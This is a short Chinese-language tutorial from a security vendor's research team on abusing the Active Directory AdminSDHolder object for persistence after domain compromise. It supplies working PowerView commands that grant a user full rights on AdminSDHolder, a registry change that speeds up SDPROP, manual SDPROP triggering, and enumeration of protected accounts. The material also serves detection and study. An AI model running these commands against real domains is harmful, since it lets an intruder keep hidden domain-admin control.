AdminSDHolder是一個特殊的AD容器,通常作為某些特權組成員的物件的安全模板。Active Directory將採用AdminSDHolder物件的ACL並定期將其應用於所有受保護的AD賬戶和組,以防止意外和無意的修改並確保對這些物件的訪問是安全的。
本文由錦行科技的安全研究團隊提供,旨在從攻擊者的視角還原AdminSDHolder的滲透過程。
一、配置
1、新增:
在域控上操作AdminSDHolder物件的ACL
新增使用者test對AdminSDHolder的完全訪問許可權
powerview:
Add-DomainObjectAcl -TargetIdentity AdminSDHolder -PrincipalIdentity test -Rights All
*由於SDPROP的原因,預設等待60分鐘之後生效
2、驗證:
Powerview:
Get-DomainObjectAcl adminsdholder | ?{$_.SecurityIdentifier -match "S-1-5-21-363618500-3918876104-3124729890-1139"} | select objectdn,ActiveDirectoryRights |sort -Unique
ADSI:
3、刪除:
Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=test,DC=com" -PrincipalIdentity test -Rights All -Verbose
二、SDPROP
為了將可繼承ACE的更改傳播到後代物件,域控制器執行一個稱為安全描述符傳播器(SDPROP)的後臺任務。透過修改物件的安全描述符或移動物件時觸發此任務。當修改了AdminSDHolder的ACL之後預設等待60分鐘以後生效,原理是SDPROP程式在PDC模擬器上每60分鐘執行一次,並使用AdminSDHolder設定的安全許可權重新標記ACL。
1、登錄檔SDPROP運營頻率:
修改成等待60秒
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60
2、手動觸發SDPROP程式:
執行->LDP.exe->選單>連線->連線->伺服器輸入當前的機器名,埠預設為389
然後連線->繫結憑證->作為當前登入的使用者繫結->然後瀏覽->修改,在屬性選項卡中輸入FixUpInheritance。在值欄位中輸入Yes。操作選擇新增,然後單擊輸入,最後執行即可,執行。
三、利用場景
已經獲得域控許可權,利用AdminSDHolder來進行許可權維持,或者尋找受保護AD賬戶為目標。
列舉受保護AD賬戶
Get-NetUser -AdminCount |select samaccountname
登入test使用者,可以看到test非域管組,卻能執行域管許可權的命令。